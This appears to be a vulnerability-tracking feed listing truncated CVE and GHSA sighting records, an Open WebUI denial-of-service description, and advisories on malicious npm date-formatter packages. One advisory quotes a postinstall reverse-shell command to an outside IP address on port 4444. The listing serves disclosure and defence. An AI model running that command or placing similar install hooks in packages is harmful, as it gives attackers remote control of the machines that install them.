Photon OS 5.0: Rubygem PHSA-2026-5.0-92-0835

An update of the rubygem package has been released. %NASLMINLEVEL 80900 C Tenable, Inc. The descriptive text and package checks in this plugin were extracted from VMware Security Advisory PHSA-2026-5.0-92-0835. The text itself is copyright C VMware, Inc. include'compat.inc'; if description...

MAL-2026-11998 Malicious code in simple-date-formatter-util-7 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e53aca949f6ef9820b220363a2b0c7df91e36f08ded73165dfe9140a004fd693 Package advertises itself as a date formatter utility but ships a malicious postinstall payload. package.json declares a postinstall lifecycle script...

CVE-2026-53947

creationtimestamp| type| source ---|---|--- 2026-08-04 23:31:07+00:00| seen| https://gist.github.com/alon710/c4a761947b80459c983e02321c736c9a 2026-08-05 00:00:39+00:00| seen| https://gist.github.com/alon710/c4a761947b80459c983e02321c736c9a...

CVE-2026-67859

creationtimestamp| type| source ---|---|--- 2026-08-04 23:00:43+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3msc4jvlu2y2z...

CVE-2026-18817

creationtimestamp| type| source ---|---|--- 2026-08-04 22:44:37+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/2e6gnr3bwti6t...

MAL-2026-11547 Malicious code in simple-date-formatter-util-9 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3f3571b881ec73a3ebf6f381b14455f9eff112ba2166366858cfca59b56b2840 package.json declares a postinstall lifecycle hook that executes bash -i & /dev/tcp/124.221.154.135/4444 0&1 &, opening an interactive reverse shell...

Malicious code in simple-date-formatter-new-5 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 204253c08cc90b592f9c086ada633879141aee2bdf27e7286007c709f3b866ab Package advertised as a date-formatting utility performs supply-chain attack behavior. package.json declares a postinstall shell one-liner that, on n...

CVE-2026-70489

Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.0 until 0.11.0, automation recurrence parsing in backend/openwebui/utils/automations.py anchored minutely and hourly rules at a fixed date of 2000-01-01 and then walked forward one interval at a time to...

CVE-2026-70489 Open WebUI: Instance-wide stall via automation recurrence rules that force multi-second parsing

Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.0 until 0.11.0, automation recurrence parsing in backend/openwebui/utils/automations.py anchored minutely and hourly rules at a fixed date of 2000-01-01 and then walked forward one interval at a time to...

CVE-2026-70489

Technical details about CVE-2026-70489 are not publicly available in the provided documents. Monitor for updates.

CVE-2026-67589

creationtimestamp| type| source ---|---|--- 2026-08-04 19:54:42+00:00| seen| https://bsky.app/profile/infosec.skyfleet.blue/post/bdbdsyvhmjiuu 2026-08-05 06:44:43+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/djrrztfflnyta...

GHSA-RWRP-9823-P2XQ

creationtimestamp| type| source ---|---|--- 2026-08-04 18:31:34+00:00| seen| https://gist.github.com/alon710/f760ad982633274fcad75b35ba6ece57...

CVE-2026-24083

creationtimestamp| type| source ---|---|--- 2026-08-04 17:01:37+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3msbihshx5l2l...

CVE-2026-10032

creationtimestamp| type| source ---|---|--- 2026-08-04 16:48:34+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/j7o7c57m4b5cj 2026-10-02 23:30:28+00:00| seen| https://gist.github.com/alon710/bbef448ddedc6cabee70ea28e567bc12...

CVE-2026-24084

creationtimestamp| type| source ---|---|--- 2026-08-04 16:45:07+00:00| seen| https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-qualcomm-10 2026-08-04 17:01:44+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3msbihzi5um2t 2026-08-04 23:13:51+00:00| seen|...

GHSA-6VH2-WG4H-4VWJ

creationtimestamp| type| source ---|---|--- 2026-08-04 16:31:33+00:00| seen| https://gist.github.com/alon710/6149a4f7f7f2ae19b65c163d6f6db13a...

CVE-2026-15920

creationtimestamp| type| source ---|---|--- 2026-08-04 16:29:42+00:00| seen| https://bsky.app/profile/infosec.skyfleet.blue/post/h5c2dvuor5uzy 2026-08-05 14:43:12+00:00| seen| https://bsky.app/profile/r-netsec-bot.bsky.social/post/3msdr7aekni2v 2026-08-05 14:54:36+00:00| seen|...

GHSA-33VJ-92QQ-66HC

creationtimestamp| type| source ---|---|--- 2026-08-04 15:15:12+00:00| seen| https://gist.github.com/cwayne18/2df919c96745d903491c33321eb89359 2026-08-05 12:34:16+00:00| seen| https://gist.github.com/cwayne18/b5c32c67446c8ec50f54ec955ba4ef5b 2026-08-05 21:55:34+00:00| seen|...

CVE-2026-12049

creationtimestamp| type| source ---|---|--- 2026-08-04 13:00:19+00:00| seen| https://t.me/cyberoknews/229 2026-08-05 00:00:35+00:00| seen| https://t.me/cyberoknews/229 2026-08-06 00:00:58+00:00| seen| https://t.me/cyberoknews/229...

CVE-2025-6037

creationtimestamp| type| source ---|---|--- 2026-08-04 13:00:04+00:00| seen| https://t.me/purpleshift/124 2026-08-05 00:00:30+00:00| published-proof-of-concept| https://t.me/purpleshift/124 2026-08-14 16:00:22+00:00| seen| https://t.me/devsecopsweekly/1310 2026-08-15 00:00:46+00:00| seen|...